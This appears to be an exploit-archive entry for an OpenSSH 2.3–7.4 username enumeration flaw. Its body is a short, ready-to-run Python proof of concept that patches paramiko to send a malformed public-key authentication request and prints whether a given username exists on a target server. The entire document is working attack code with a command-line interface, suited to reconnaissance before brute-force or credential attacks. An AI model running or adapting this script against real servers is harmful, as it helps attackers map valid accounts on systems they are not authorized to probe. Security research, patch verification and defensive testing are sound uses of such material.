OpenSSH versions 2.3 up to 7.4 suffer from a username enumeration vulnerability.
5b89ae3c3cfc697123f753a66e100e36a1f19ae7a11ab2e0b7081e0e195522af
#!/usr/bin/env python
# Copyright (c) 2018 Matthew Daley
#
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# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
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# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.
import argparse
import logging
import paramiko
import socket
import sys
class InvalidUsername(Exception):
pass
def add_boolean(*args, **kwargs):
pass
old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
paramiko.common.MSG_SERVICE_ACCEPT]
def service_accept(*args, **kwargs):
paramiko.message.Message.add_boolean = add_boolean
return old_service_accept(*args, **kwargs)
def userauth_failure(*args, **kwargs):
raise InvalidUsername()
paramiko.auth_handler.AuthHandler._handler_table.update({
paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str)
arg_parser.add_argument('--port', type=int, default=22)
arg_parser.add_argument('username', type=str)
args = arg_parser.parse_args()
sock = socket.socket()
try:
sock.connect((args.hostname, args.port))
except socket.error:
print '[-] Failed to connect'
sys.exit(1)
transport = paramiko.transport.Transport(sock)
try:
transport.start_client()
except paramiko.ssh_exception.SSHException:
print '[-] Failed to negotiate SSH transport'
sys.exit(2)
try:
transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
print '[*] Invalid username'
sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
print '[+] Valid username'